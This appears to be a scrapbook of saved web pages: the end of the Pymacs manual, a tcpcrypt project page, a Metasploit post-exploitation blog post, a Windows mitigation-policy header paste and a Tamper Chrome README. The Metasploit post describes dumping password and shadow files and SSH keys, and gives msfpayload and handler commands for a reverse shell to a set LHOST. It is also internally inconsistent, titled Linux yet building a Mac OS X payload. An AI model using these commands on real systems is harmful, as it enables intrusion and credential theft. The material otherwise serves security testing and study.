>   * As it is more easy to generate than to parse, and also because Emacs has
> a Lisp parser and Python has a Python parser, Emacs generates Python code
> when preparing a message to the Pymacs helper, and Python generates Emacs
> Lisp expressions when preparing a message for Emacs.
>   * Messages are exchanged in strictly alternating directions \(from Python
> to Emacs, from Emacs to Python, etc.\), the first message being sent by the
> Pymacs helper just after it started, identifying the current Pymacs version.
>   * Messages in both directions have a similar envelope. Each physical
> message has a prefix, the message contents, and a newline. The prefix starts
> with either `<` or `>` to mark the directionality, immediately followed by
> the decimal expression of the contents length counted in characters,
> immediately followed by a single horizontal tab. The count excludes the
> prefix, but includes the newline.
>   * In each direction, messages are made up of two elements: an action
> keyword and a single argument \(yet the argument may sometimes be complex\).
> As a special case, memory cleanup messages, from Python to Emacs, use four
> elements: the atom **free** , a list of slot numbers to free, and then the
> real action and argument. This is because the cleanup is delayed and piggy-
> backed over some other message from Python to Emacs.
>   * For Emacs originated messages, the action and the argument are separated
> by a space. For Python originated messages, the action and the argument are
> made into a Lisp list.
>   * Most actions in the following table are available in both directions,
> unless noted. The first three actions _start_ a new level of Pymacs
> evaluation, the remaining actions end the current level.
>     * **eval** requests the evaluation of its expression argument.
>     * **exec** requests the execution of its statement argument \(this may
> only be received on the Python side\).
>     * **expand** requests the opening of an Emacs Lisp structure \(this may
> only be received on the Emacs side\).
>     * **return** represents the normal reply to a request, the argument
> holds the value to be returned \(**nil** in case of **exec**\).
>     * **raise** represents the error reply to a request, the argument then
> holds a diagnostic string.
>

## 6.2 The **\*Pymacs\*** buffer

Emacs and Python are two separate processes \(well, each may use more than one
process\). Pymacs implements a simple communication protocol between both, and
does whatever needed so the programmers do not have to worry about details.
The main debugging tool is the communication buffer between Emacs and Python,
which is named **\*Pymacs\***. By default, this buffer gets erased before each
transaction. To make good debugging use of it, first set **pymacs-trace-
transit** to either **t** or to some `(KEEP . LIMIT)`. As it is sometimes
helpful to understand the communication protocol, it is briefly explained
here, using an artificially complex example to do so. Consider:

[code]

    (pymacs-eval "lisp('(pymacs-eval \"repr(2L**111)\")')")
    "2596148429267413814265248164610048L"
    
    
[/code]

Here, Emacs asks Python to ask Emacs to ask Python for a simple bignum
computation. Note that Emacs does not natively know how to handle big
integers, nor has an internal representation for them. This is why I use the
**repr** function, so Python returns a string representation of the result,
instead of the result itself. Here is a trace for this example. Imagine that
Emacs stands on the left and that Python stands on the right. The `<`
character flags a message going from Python to Emacs, while the `>` character
flags a message going from Emacs to Python. The number gives the length of the
message, including the end of line. \(Acute readers may notice that the first
number is incorrect, as the version number gets replaced in the example while
this manual is being produced.\)

[code]

    <22     (version "0.24-beta1")
    >43     eval lisp('(pymacs-eval "repr(2L**111)")')
    <45     (eval (progn (pymacs-eval "repr(2L**111)")))
    >19     eval repr(2L**111)
    <47     (return "2596148429267413814265248164610048L")
    >45     return "2596148429267413814265248164610048L"
    <47     (return "2596148429267413814265248164610048L")
    
    
[/code]

Python evaluation is done in the context of the **Pymacs.pymacs** module, so
for example a mere **reply** really means `Pymacs.pymacs.reply`. On the Emacs
Lisp side, there is no concept of module name spaces, so we use the `pymacs-`
prefix as an attempt to stay clean. Users should ideally refrain from naming
their Emacs Lisp objects with a `pymacs-` prefix.

**reply** and **pymacs-reply** are special functions meant to indicate that an
expected result is finally transmitted. **error** and **pymacs-error** are
special functions that introduce a string which explains an exception which
recently occurred. **pymacs-expand** is a special function implementing the
`copy()` methods of Emacs Lisp handles or symbols. In all other cases, the
expression is a request for the other side, that request stacks until a
corresponding reply is received.

Part of the protocol manages memory, and this management generates some extra-
noise in the **\*Pymacs\*** buffer. Whenever Emacs passes a structure to
Python, an extra pointer is generated on the Emacs side to inhibit garbage
collection by Emacs. Python garbage collector detects when the received
structure is no longer needed on the Python side, at which time the next
communication will tell Emacs to remove the extra pointer. It works
symmetrically as well, that is, whenever Python passes a structure to Emacs,
an extra Python reference is generated to inhibit garbage collection on the
Python side. Emacs garbage collector detects when the received structure is no
longer needed on the Emacs side, after which Python will be told to remove the
extra reference. For efficiency, those allocation-related messages are
delayed, merged and batched together within the next communication having
another purpose.

Variable **pymacs-trace-transit** may be modified for controlling how and when
the **\*Pymacs\*** buffer, or parts thereof, get erased.

## 6.3 Emacs usual debugging

If cross-calls between Emacs Lisp and Python nest deeply, an error will raise
successive exceptions alternatively on both sides as requests unstack, and the
diagnostic gets transmitted back and forth, slightly growing as we go. So,
errors will eventually be reported by Emacs. I made no kind of effort to
transmit the Emacs Lisp back trace on the Python side, as I do not see a
purpose for it: all debugging is done within Emacs windows anyway.

On recent Emacses, the Python back trace gets displayed in the mini-buffer,
and the Emacs Lisp back trace is simultaneously shown in the **\*Backtrace\***
window. One useful thing is to allow to mini-buffer to grow big, so it has
more chance to fully contain the Python back trace, the last lines of which
are often especially useful. Here, I use:

[code]

    (setq resize-mini-windows t
          max-mini-window-height .85)
    
    
[/code]

in my `.emacs` file, so the mini-buffer may use 85% of the screen, and quickly
shrinks when fewer lines are needed. The mini-buffer contents disappear at the
next keystroke, but you can recover the Python back trace by looking at the
end of the **\*Messages\*** buffer. In which case the **ffap** package in
Emacs may be yet another friend\! From the **\*Messages\*** buffer, once
**ffap** activated, merely put the cursor on the file name of a Python module
from the back trace, and `C-x C-f RET` will quickly open that source for you.

## 6.4 Auto-reloading on save

I found useful to automatically **pymacs-load** some Python files whenever
they get saved from Emacs. This can be decided on a per-file or per-directory
basis. To get a particular Python file to be reloaded automatically on save,
add the following lines at the end:

[code]

    # Local Variables:
    # pymacs-auto-reload: t
    # End:
    
    
[/code]

Here is an example of automatic reloading on a per-directory basis. The code
below assumes that Python files meant for Pymacs are kept in
`~/share/emacs/python`:

[code]

    (defun fp-maybe-pymacs-reload ()
      (let ((pymacsdir (expand-file-name "~/share/emacs/python/")))
        (when (and (string-equal (file-name-directory buffer-file-name)
                                 pymacsdir)
                   (string-match "\\.py\\'" buffer-file-name))
          (pymacs-load (substring buffer-file-name 0 -3)))))
    (add-hook 'after-save-hook 'fp-maybe-pymacs-reload)
    
    
[/code]

## 6.5 Debugging the Pymacs helper

The Pymacs helper is a Python program which accepts options and arguments. The
available options, which are only meant for debugging, are:

> `-d FILE`| Debug the protocol to FILE  
> ---|---  
> `-s FILE`| Trace received signals to FILE  
  * The `-d` option saves a copy of the communication protocol in the given file, as seen from the Pymacs helper. The file should be fairly identical to the contents of the **\*Pymacs\*** buffer within Emacs.
  * The `-s` option monitors most signals received by the Pymacs helper and logs them in the given file. Each log line merely contains a signal number, possibly followed by a star if the interruption was allowed in. Besides logging, signals are usually ignored.

The arguments list directories to be added at the beginning of the Python
module search path, and whenever Emacs launches the Pymacs helper, the
contents of the Emacs Lisp **pymacs-load-path** variable is turned into this
argument list.

The Pymacs helper options may be set through the **PYMACS\_OPTIONS**
environment variable. For example, one could execute something like:

[code]

    export PYMACS_OPTIONS='-d /tmp/pymacs-debug -s /tmp/pymacs-signals'
    
    
[/code]

in a shell \(presuming **bash** here\) and start Emacs from that shell. Then,
when Emacs will launch the Pymacs helper, the above options will be obeyed.

# 7 About and around Pymacs

## 7.1 Known limitations

Memory may leak in some theoretical circumstances \(I say theoretical, because
no one ever reported this as being an actual problem\). As Richard Stallman
once put it \(2002-08\):

> I wonder, though, can this \[memory management\] technique fully handle
> cycles that run between Lisp and Python? Suppose Lisp object A refers to
> Python object B, which refers to Lisp object A, and suppose nothing else
> refers to either one of them. Will you succeed in recognizing these two
> objects as garbage?
## 7.2 History

I once hungered for a Python-extensible editor, so much so that I pondered the
idea of dropping Emacs for other avenues, but found nothing much convincing.
Moreover, looking at all Lisp extensions I'd made for myself, and considering
all those superb tools written by others, all of which are now part of my
computer life, it would have been a huge undertaking for me to reprogram these
all in Python. So, when I began to see that something like Pymacs was
possible, I felt strongly motivated\! :-\)

Pymacs draws on previous work of Cedric Adjih that enabled the running of
Python as a process separate from Emacs. See
http://www.crepuscule.com/pyemacs/, or write Cedric at mailto:adjih-
pam@crepuscule.com. Cedric presented **pyemacs** to me as a proof of concept.
As I simplified that concept a bit, I dropped the `e` in `pyemacs` :-\).
Cedric also previously wrote patches for linking Python right into XEmacs, but
abandoned the idea, as he found out that his patches were unmaintainable over
the evolution of both Python and XEmacs.

As Brian McErlean independently and simultaneously wrote a tool similar to
this one, we decided to merge our projects. In an amusing coincidence, he even
chose **pymacs** as a name. Brian paid good attention to complex details that
escaped my courage, so his help and collaboration have been beneficial. You
may reach Brian at mailto:brianmce@crosswinds.net.

The initial throw at Pymacs has been written on 2001-09-05, and releases in
the 0.x series followed in a rapid pace for a few months, and Pymacs became
stable. Since then, it did not need to move much, as bugs are not found often.
Yet, in my opinion, some missing features should be addressed before we dare
some 1.0 release.

## 7.3 Pymacs and me\!

Pymacs has been fairly stable since the early versions. I surely used it a
great deal, constantly, magically, in my daily works, to the point of
forgetting that was it there all the time. It was fairly complete, at least
for my own needs, and did not move much anymore.

Some time later, someone begged me to consider Vim, and not only Emacs, for
some tools I was then writing. Looking at Vim more closely, I discovered that
it is a worth editor, with Python nicely integrated, enough for me to switch.
In a Web article \(which many enjoyed, as they told me\), I detailed my
feelings on these matters.

My viewpoint is that Pymacs, maybe after an initial flurry of a bit more than
a dozen releases, soon became stable in its history. Reported bugs or
suggestions were minor, there was not enough new material to warrant other
releases. Nevertheless, when I switched from Emacs to Vim in my day-to-day
habits, I felt that Pymacs needed a more credible maintainer than me. Syver
Enstad, who was an enthusiastic user and competent contributor, was kind
enough to accept the duty \(2003-10\). Some more bugs and suggestions flowed
in since then, but Syver did not elect to make any new release, and this did
not bother me. Syver then became unavailable, to the point I could not contact
him in years. I would loathe to see myself interfering with an official
maintainer, but when I decided to return to some moderate Emacs usage, and
because of the long silence, I considered resuming Pymacs maintenance as well
\(2007-11\). Then, I dived into it for real \(2008-01\).

Giovanni Giorgi once \(2007-03\) wanted to expand on Pymacs and publish it on
his own, and later felt like maintaining it whole \(late 2007-12\). I rather
suggested an attempt at collaborative maintenance, and this experiment is
still going on...

## 7.4 Vim considerations

Emacs Lisp is deeply soldered into Emacs internals. Vim has its own language,
which people sometimes call Vimscript, similarly tightened into Vim. My
feeling is that Emacs Lisp allows for a more intimate handling of edit buffers
and external processes than Vimscript does, yet this intimacy has a price in
complexity, so all totalled, they may be perceived as comparable for most
practical purposes.

Pymacs allows customising Emacs with Python instead of Emacs Lisp, and then
runs Python as a process external to Emacs, with a communication protocol
between both processes. Python may be built into Vim, and then both Python and
Vim use a single process. The same as Pymacs gives access to almost all of
Emacs Lisp, Python within Vim gives access to almost all of Vimscript, but
with a much smaller overhead than Pymacs.

Pymacs is not Emacs Lisp, and Python in Vim is not Vimscript either, tweaks
are needed in both cases for accessing some of the underlying scripting
facilities. Pymacs is rather elegant, Python in Vim is rather clean. Python
itself is both elegant and clean, but one strong point of Python for me is the
legibility, which builds deeper roots on the clean side than on the elegant
side. All in all, despite I know how debatable it can be, I guess I now have a
prejudice towards Python in Vim.

I figured out a simple way to have the same Python source usable both within
Pymacs or Vim. However, Emacs is byte oriented, while Vim is line oriented. In
a few Pymacs applications of mine, I internally toggle between line
orientation and byte orientation, keeping both for speed most probably, while
I see things would be a bit simpler \(and maybe slower\) if I was pushing
myself on the line-oriented side. Each of Emacs and Vim have their own logic
and elegance, and it is probable that we loose overall if we try to emulate
one with the other.

The idea traversed me to convert all the few Pymacs examples so they work both
for Pymacs and Vim, and through the documentation, publicise how people
writing Python extensions could write them for both editors at once. Yet,
while doing so, one has to stretch either towards Emacs or Vim, and I guess I
would favour Vim over Emacs when the time comes to evaluate efficiency-related
choices.

I also thought about writing a Pymacs module for running Python scripts
already written for Vim, by offering a compatibility layer. The complexity of
this might be unbounded, I should study actual Python scripts for Vim before
knowing better if this is thinkable or not.

## 7.5 Inclusion within Emacs

Gerd Möllman, who was maintaining Emacs at the time of Pymacs birth and
development, retrofitted \(2001-09\) the idea of a **post-gc-hook** from
XEmacs, as a way to facilitate memory management within Pymacs.

Richard Stallman once suggested \(2001-10\) that Pymacs be distributed within
Emacs, and while discussing the details of this, I underlined small technical
difficulties about Emacs installing the Python parts, and the need of a
convention about where to install Python files meant for Pymacs. As Richard
felt, at the time, very overwhelmed with other duties, no decision was taken
and the integration went nowhere.

After Gerd resigned as an Emacs maintainer, someone from the Emacs development
team wrote again \(2002-01\) asking information about how to integrate Pymacs.
It was easy for me to write a good and thorough summary, after all these
discussions with Richard. And that's the end of the story: I never heard of it
again. :-\)

## 7.6 Speed issues

Doug Bagley's shoot out project compares the relative speed of many popular
languages, and this might interest Pymacs users. The first URL points to the
original, the second points to a newer version oriented towards Win32 systems,
the third is more recent but Debian-oriented:

>   * http://www.bagley.org/~doug/shootout/
>   * http://dada.perl.it/shootout/index.html
>   * http://shootout.alioth.debian.org/
>

I've not heard of any Python to Lisp compiler. Lisp may be slow or fast
depending on how one uses it, and how much one uses declarations. Some Lisp
systems have really excellent compilers, that give very fast code when
properly hinted.

Python itself may be slow or fast, once again depending on how one uses it.
With the proper bend, one can develop the habit of writing Python which shows
honest speed. And there is always Pyrex, which is Python complemented with
explicit declarations \(a bit like some Lisp implementations\), and which can
buy a lot of speed.

This is quite likely that one can have fast programs while using Python, or a
mix of Python and Pyrex \(or even Psyco sometimes\), that is, within Python
paradigms, without feeling any need of resorting to Lisp.

If Python looks like being slow while being used with Emacs, the problem
probably lies in Emacs-Python communication which Pymacs implements. One has
to learn how to do the proper compromises for having less communications. \(In
that regard, Vim and Python are really linked together, so Python in Vim is
likely faster than Pymacs for someone who does not pay special attention to
such matters.\)

Ali Gholami Rudi also writes \(2008-02\):

> Well, there seems to be lots of overhead when transferring large strings.
> Transferring them requires:
>>   1. escaping characters in the strings

>>   2. putting them in **\*Pymacs\*** buffer

>>   3. sending the region to Python process

>>   4. evaluating the Python string in Python-side \(involves compiling\)

>>

> In my experiments, transferring a ~5k-line file takes more than a second on
> a relatively new computer \(data from **rope-dev**\). Improving that
> probably requires a new protocol that does not use Python eval and has an
> optional debug buffer. Probably few applications need to transfer large
> strings to Python but if they do, it is quite slow.
All in all, speed may sometimes become a real issue for Pymacs. I once wrote
within http://pinard.progiciels-bpi.ca/opinions/editors.html :

> While Pymacs is elegant in my opinion, one cannot effectively use Pymacs
> \(the Python part\) without knowing at least the specification of many Lisp
> functions, and I found that it requires some doing for a Pymacs developer to
> decouple the Emacs interaction part from the purer algorithmic part in
> applications. Moreover, if you do not consider speed issues, they bite you.
## 7.7 The future of Pymacs

Some people suggested important internal Pymacs changes. In my opinion, new
bigger features are better implemented in a careful way, first as examples or
contributions, and moved closer to internal integration depending on how users
use or appreciate them. For now, Pymacs should concentrate at doing its own
humble job well, and resist bloat.

Before Pymacs closes to some version 1.0, some specifications should be
revisited, user suggestions pondered, porting matters documented. The test
suite should grow up, we should collect more examples. Pymacs should aim
seamless integration with `.el` files and with transparent **autoload** \(my
little tries were not so successful\). On the Python side, Pymacs _might_ fake
primitives like **getindex** and **putindex** , better support iterators and
some newer Python features, and at least consider Python 3.0.

Pymacs is not much geared towards Python threads. It is not clear yet if it
would be reasonably tractable to better support them.  
|

  * General info
  * Entry page
  * Documentation
  * README
  * Source files
  * Browse
  * Download
  * Development
  * TODO
  * Contributors
  * Various
  * This site
  * Author's site

# tcpcrypt - Home

**Created:**| _7/19/2011 7:08:09 PM_  
---|---  
**Updated:**| _7/19/2011 7:08:09 PM_  
**Author:**| __  
**Tags:**| _crypto network-security_  
  

# Tcpcrypt - Encrypting the Internet

Tcpcrypt is a protocol that attempts to encrypt \(almost\) all of your network
traffic. Unlike other security mechanisms, Tcpcrypt works out of the box: it
requires no configuration, no changes to applications, and your network
connections will continue to work even if the remote end does not support
Tcpcrypt, in which case connections will gracefully fall back to standard
clear-text TCP. Install Tcpcrypt and you'll feel no difference in your every
day user experience, but yet your traffic will be more secure and you'll have
made life much harder for hackers.

So why is now the right time to turn on encryption? Here are some reasons:

  * **Intercepting communications today is simpler than ever because of wireless networks.** Ask a hacker how many e-mail passwords can be intercepted at an airport by just using a wifi-enabled laptop. This unsophisticated attack is in reach of many. The times when only a few elite had the necessary skill to eavesdrop are gone.
  * **Computers have now become fast enough to encrypt all Internet traffic.** New computers come with special hardware crypto instructions that allow encrypted networking speeds of 10Gbit/s. How many of us even achieve those speeds on the Internet or would want to download \(and watch\) one movie per second? Clearly, we can encrypt fast enough.
  * **Research advances and the lessons learnt from over 10 years of experience with the web finally enabled us to design a protocol that can be used in today's Internet, by today's users.** Our protocol is pragmatic: it requires no changes to applications, it works with NATs \(i.e., compatible with your DSL router\), and will work even if the other end has not yet upgraded to tcpcrypt—in which case it will gracefully fall back to using the old plain-text TCP. No user configuration is required, making it accessible to lay users—no more obscure requests like "Please generate a 2048-bit RSA-3 key and a certificate request for signing by a CA". Tcpcrypt can be incrementally deployed today, and with time the whole Internet will become encrypted.

## How Tcpcrypt works

Tcpcrypt is opportunistic encryption. If the other end speaks Tcpcrypt, then
your traffic will be encrypted; otherwise it will be in clear text. Thus,
Tcpcrypt alone provides no guarantees—it is best effort. If, however, a
Tcpcrypt connection is successful and any attackers that exist are _passive,_
then Tcpcrypt guarantees privacy.

Network attackers come in two varieties: passive and active \(man-in-the-
middle\). Passive attacks are much simpler to execute because they just
require listening on the network. Active attacks are much harder as they
require listening and modifying network traffic, often requiring very precise
timing that can make some attacks impractical.

By default Tcpcrypt is vulnerable to active attacks—an attacker can, for
example, modify a server's response to say that Tcpcrypt is not supported
\(when in fact it is\) so that all subsequent traffic will be clear text and
can thus be eavesdropped on.

Tcpcrypt, however, is powerful enough to stop active attacks, too, if the
application using it performs authentication. For example, if you log in to
online banking using a password and the connection is over Tcpcrypt, it is
possible to use that shared secret between you and the bank \(i.e., the
password\) to authenticate that you are actually speaking to the bank and not
some active \(man-in-the-middle\) attacker. The attacker cannot spoof
authentication as it lacks the password. Thus, by default, Tcpcrypt will try
its best to protect your traffic. Applications requiring stricter guarantees
can get them by authenticating a Tcpcrypt session.

## How Tcpcrypt is different

Some of us already encrypt some network traffic using SSL \(e.g., HTTPS\) or
VPNs. Those solutions are inadequate for ubiquitous encryption. For example,
almost all solutions rely on a PKI to stop man-in-the-middle attacks, which
for ubiquitous deployment would mean that all Internet users would have to get
verified by a CA like Verisign and have to spend money to buy a certificate.
Tcpcrypt abstracts away authentication, allowing any mechanism to be used,
whether PKI, passwords, or something else.

Next, Tcpcrypt can be incrementally deployed: it has a mechanism for probing
support and can gracefully fall back to TCP. It also requires no configuration
\(try that with a VPN\!\) and has no NAT issues. Finally, Tcpcrypt has very
high performance \(up to 25x faster than SSL\), making it feasible for high
volume servers to enable encryption on all connections. While weaker by
default, Tcpcrypt is more realistic for universal deployment.

We can easily make the bar much higher for attackers, so let's do it. How much
longer are we going to stay clear-text by default?

# Metasploit Linux Post Exploitation : Enumeration and Hash Dump

**Created:**| _6/8/2011 1:47:51 PM_  
---|---  
**Updated:**| _6/8/2011 1:47:51 PM_  
**Author:**| __  
**Tags:**| _post-exploitation Linux Metasploit_  
  

# Metasploit Linux Post Exploitation : Enumeration and Hash Dump

A new set of post exploitation scripts have been developed and integrated in
the Metasploit framework repository. These scripts permit you to gather
interesting information’s on a Linux target.

These Metasploit post exploitation scripts are normally supporting all Linux
distributions. For the moment are only working with a “ _shell_ ” session but
Metasploit team is working on a version how is supporting a complete
integration with  _meterpreter_.

#### Linux enum\_linux post exploitation script

This script will permit you to gather different datas from the target :

  * Hostname of the target.
  * Current running system user.
  * Linux distribution and version.
  * Complete running kernel version
  * Complete system users from “ _/etc/password”_
  * Network configuration from “ _ifconfig”_ command. Evolution of the module should use “ _ifconfig -a_ “
  * The routing configuration from “ _route”_ command
  * All mounted drives list from the “ _mount”_ command. Evolution of the module should use “ _mount -l_ “
  * Complete “ _iptables -L_ ” command output. Actually only the “ _filter_ ” table is collected, but surely the “ _nat_ ” and “ _mangle_ ” tables would be added, with the “ _iptables -L -t nat_ ” and “ _iptables -L -t mangle_ ” commands.
  * DNS configuration from “ _/etc/resolv.conf_ “
  * SSH server configuration from “ _/etc/ssh/sshd\_config_ “
  * Statics hosts entries from “ _/etc/hosts_ “
  * Complete output of “ _/etc/password_ ” file
  * Possible ssh keys located in “ _.ssh_ ” folders on the entire system.
  * Installed softwares. Execution of “ _rpm -qa_ ” for Fedora, Red Hat, SuSe or Mandrake. Execution of “ _ls /var/log/packages_ ” for Slackware. Execution of “ _dpkg -l_ ” for Ubuntu and Debian. Execution of “ _equery list_ ” for Gentoo.
  * Installed services. Execution of “ _chkconfig –list_ ” for Fedora, Red Hat, SuSe or Mandrake. Some logfu commands for Mandrake. Execution of “ _/usr/bin/service –status-all_ ” for Ubuntu and Debian. Execution of “ _/bin/rc-status –all_ ” for Gentoo.
  * Possible “ _.bash\_history_ ” files located in each users home folder.
  * Also the module will try to do a screenshot of display “0:0″ with the xwd command.

All these datas are transfered on your Metasploit box for further analysis.
All gathered information’s are saved into a “ _loot/date_ ” folder located
into your “ _$HOME/.msf3_ ” folder.

Linux enum\_linux post exploitation script

#### Linux enum\_packages post exploitation script

This module is a sub module how will only focus on installed softwares.
Execution of “ _rpm -qa_ ” for Fedora, Red Hat, SuSe or Mandrake. Execution of
“ _ls /var/log/packages_ ” for Slackware. Execution of “ _dpkg -l_ ” for
Ubuntu and Debian. Execution of “ _equery list_ ” for Gentoo.

Linux enum\_packages post exploitation script

#### Linux enum\_services post exploitation script

This module is a sub module how will only focus on installed services.
Execution of “ _chkconfig –list_ ” for Fedora, Red Hat, SuSe or Mandrake. Some
logfu commands for Mandrake. Execution of “ _/usr/bin/service –status-all_ ”
for Ubuntu and Debian. Execution of “ _/bin/rc-status –all_ ” for Gentoo.

Linux enum\_services post exploitation script

#### Linux enum\_services post exploitation script

This module will gather “/etc/password” and “/etc/shadow” files.

Linux enum\_services post exploitation script

To test these scripts you only need to create an executable payload for Linux
and follow these steps.

First create the payload with  _msfpayload_ and upload it to the targeted
Linux.

> sudo msfpayload osx/ppc/shell\_reverse\_tcp LHOST=192.168.178.21 LPORT=4444
> X > test
Then in  _msfconsole_ , run the following commands.

> use exploit/multi/handler  
>  set PAYLOAD osx/ppc/shell\_reverse\_tcp  
>  set LHOST 192.168.178.21  
>  exploit -j
After on the targeted Mac OS X, execute the  _test_ payload

<img src='img/Capture-d’écran-2011-06-08-à-00.08.06.png' /><img
src='img/Capture-d’écran-2011-06-08-à-00.13.371.png' /><img
src='img/Capture-d’écran-2011-06-08-à-00.16.17.png' /><img
src='img/Capture-d’écran-2011-06-08-à-00.19.50.png' />

# aslr windows struct

**Created:**| _9/17/2011 4:13:52 PM_  
---|---  
**Updated:**| _9/17/2011 4:13:52 PM_  
**Author:**| __  
**Tags:**| _windows security reversing windows environment_  
  
BOOL WINAPI SetProcessMitigationPolicy\( \_In\_ PROCESS\_MITIGATION\_POLICY
MitigationPolicy, \_In\_reads\_bytes\_\(dwLength\) PVOID lpBuffer, \_In\_
SIZE\_T dwLength \); BOOL WINAPI GetProcessMitigationPolicy\( \_In\_ HANDLE
hProcess, \_In\_ PROCESS\_MITIGATION\_POLICY MitigationPolicy,
\_Out\_writes\_bytes\_\(dwLength\) PVOID lpBuffer, \_In\_ SIZE\_T dwLength \);
typedef enum \_PROCESS\_MITIGATION\_POLICY \{ ProcessDEPPolicy,
ProcessASLRPolicy, ProcessStackCheckPolicy, ProcessStrictHandleCheckPolicy,
ProcessSystemCallDisablePolicy, MaxProcessMitigationPolicy \}
PROCESS\_MITIGATION\_POLICY, \*PPROCESS\_MITIGATION\_POLICY; typedef struct
\_PROCESS\_MITIGATION\_ASLR\_POLICY \{ union \{ DWORD Flags; struct \{ DWORD
EnableStackRandomization : 1; DWORD EnableForceRelocateImages : 1; DWORD
EnableHighEntropy : 1; DWORD DisallowStrippedImages : 1; DWORD ReservedFlags :
28; \}; \}; \} PROCESS\_MITIGATION\_ASLR\_POLICY,
\*PPROCESS\_MITIGATION\_ASLR\_POLICY; typedef struct
\_PROCESS\_MITIGATION\_DEP\_POLICY \{ union \{ DWORD Flags; struct \{ DWORD
Enable : 1; DWORD DisableAtlThunkEmulation : 1; DWORD ReservedFlags : 30; \};
\}; BOOLEAN Permanent; \} PROCESS\_MITIGATION\_DEP\_POLICY,
\*PPROCESS\_MITIGATION\_DEP\_POLICY; typedef struct
\_PROCESS\_MITIGATION\_STACKCHECK\_POLICY \{ union \{ DWORD Flags; struct \{
DWORD Permanent : 1; DWORD ReservedFlags : 31; \}; \}; \}
PROCESS\_MITIGATION\_STACKCHECK\_POLICY,
\*PPROCESS\_MITIGATION\_STACKCHECK\_POLICY; typedef struct
\_PROCESS\_MITIGATION\_STRICT\_HANDLE\_CHECK\_POLICY \{ union \{ DWORD Flags;
struct \{ DWORD RaiseExceptionOnInvalidHandleReference : 1; DWORD
HandleExceptionsPermanentlyEnabled : 1; DWORD ReservedFlags : 30; \}; \}; \}
PROCESS\_MITIGATION\_STRICT\_HANDLE\_CHECK\_POLICY,
\*PPROCESS\_MITIGATION\_STRICT\_HANDLE\_CHECK\_POLICY; typedef struct
\_PROCESS\_MITIGATION\_SYSTEM\_CALL\_DISABLE\_POLICY \{ union \{ DWORD Flags;
struct \{ DWORD DisallowWin32kSystemCalls : 1; DWORD ReservedFlags : 31; \};
\}; \} PROCESS\_MITIGATION\_SYSTEM\_CALL\_DISABLE\_POLICY,
\*PPROCESS\_MITIGATION\_SYSTEM\_CALL\_DISABLE\_POLICY;

# google/tamperchrome

**Created:**| _5/7/2017 10:42:12 AM_  
---|---  
**Updated:**| _5/7/2017 10:42:12 AM_  
**Author:**| __  
**Tags:**| _web-app-sec browser_  
  

  

Tamper Chrome is a Chrome extension that allows you to modify HTTP requests on
the fly and aid on web security testing. Tamper Chrome works across all
operating systems \(including Chrome OS\).

# How To Install _Tamper Chrome_

**_Tamper Chrome_ has two components that need to be installed:**

  1. **First Install the _Tamper Chrome_ Extension**
  2. **Then Install the _Tamper Chrome_ Application**
  3. **Restart your browser.**

# Want to know how to use _Tamper Chrome_?

If you have any more questions feel free to post to the group.

## How to open _Tamper Chrome_?

  1. **First of all, you need to open Google Chrome DevTools.**
To do that, open the Chrome menu <img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f6d656e752e706e67.png'
width='40' height='41' alt='Chrome menu' /> at the top-right of your browser
window, then select More Tools > Developer Tools.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f646576746f6f6c732e706e67.png'
width='649' height='210' alt='Chrome Developer Tools' />

You can find more help here.

Make sure to close and re-open every Dev Tools after installing _Tamper
Chrome_.

  2. **After that, you will find a new tab called "Tamper" at the top-right side, and click on it.**
<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f74616d7065722e706e67.png'
width='796' height='342' alt='Tamper menu' />

## How to use _Tamper Chrome_?

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f73746172742e706e67.png'
width='637' height='282' alt='Tamper Chrome' />

_Tamper Chrome_ has 6 different tools which do slightly different things as
described below. You have to individually activate each tool.

To do so, simply click on the checkbox next to the tool's name, and this will
mark the tool as active.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f6163746976652e706e67.png'
width='726' height='43' alt='Active' />

In the following section we explain how to use each tool.

### Block / Reroute Requests

This tool allows you to either **block** or **redirect** a request from the
browser, for example, if a website is requesting a minified version of jQuery,
you can redirect it to the unminified version of jQuery.

You can do that by simply changing the URL and clicking _Allow_.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f626c6f636b2e706e67.png'
width='773' height='405' alt='Block' />

You can also click on _Edit javascript_ and _Edit stylesheets_ , which will
allow you to modify the javascript and CSS code itself.

**Note** that by clicking _ignore requests_ , you will let all requests pass
through.

### Request Headers

While Block / Reroute requests is useful to tamper with a website, and cancel
some requests, in many cases you might want to modify HTTP request headers.

This tool will allow you to do just that.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f686561646572732e706e67.png'
width='775' height='801' alt='Headers' />

You can drop a header by clicking on the _Trash_ icon, or copy its value by
clicking on the _Copy_ icon. You can add a new header by clicking on the \[
_new_ \] button.

### Response Headers

The response headers work exactly the same as the request headers. It allows
you to drop, modify or add new headers.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f726573706f6e73652e706e67.png'
width='774' height='599' alt='Response' />

Very useful for dropping or modifying many security headers like Content-
Security-Policy, X-Frame-Options, X-XSS-Protection, etcetera.

### Monitor PostMessages

Unlike the other tools, this tool is mostly only useful for monitoring
websites that use the HTML5 postMessage API.

When activated, it does the following:

  * It logs every message received on all iframes in the current tab. <img src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f706f73746d6573736167656c6f672e706e67.png' width='856' height='66' alt='log' />
  * It sets a breakpoint on every handler that listens to postMessage. <img src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f706f73746d6573736167652e706e67.png' width='856' height='543' alt='breakpoint' />

### Monitor Reflected XSS

Another very cool feature of _Tamper Chrome_ is that it allows you to debug
XSS vulnerabilities a bit better.

When testing for XSS, you can use ` <tc-xss> ` as an HTML element \(it also
works as an attribute, and as a javascript variable - you can also use `
<tamperchrome> ` and ` <tcxss> `\), and _Tamper Chrome_ will automatically
detect it, and show you where it is and the stack trace from where it was
generated. Particularly useful for DOM XSS.

<img
src='img/68747470733a2f2f736972646172636b6361742e6769746875622e696f2f696d616765732f74637873732e706e67.png'
width='867' height='497' alt='tcxss' />

### Replay Requests \(Experimental\)

The last tool in _Tamper Chrome_ is to replay and modify requests. This is
particularly useful because it allows you to modify POST requests including
their body \(or make POST requests into GET requests\), that otherwise would
be difficult or impossible.

<img
